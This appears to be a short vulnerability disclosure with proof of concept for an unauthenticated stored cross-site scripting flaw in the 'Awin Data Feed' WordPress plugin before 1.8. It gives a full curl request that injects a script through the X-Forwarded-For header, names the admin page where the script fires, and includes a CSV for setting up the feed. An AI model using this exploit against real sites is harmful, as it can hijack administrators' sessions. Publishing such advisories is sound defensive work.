Awin Data Feed < 1.8 - Unauthenticated Stored Cross-Site Scripting

With a feed set in the plugin, open the URL, invoke the command below

curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data 'action=track_user_click&feedId=1' \
    -H 'X-Forwarded-For: "><script>alert("xss");</script>'

The XSS will be triggered when an admin visits the plugin's settings (/wp-admin/admin.php?page=datafeed-settings)

Note: To set a feed, simply import the following CSV via the plugin:

categoryName,awDeepLink,merchantDeepLink,awImageUrl,description,productName,deliveryCost,currency,price
categoryName,awDeepLink,merchantDeepLink,awImageUrl,description,productName,deliveryCost,currency,price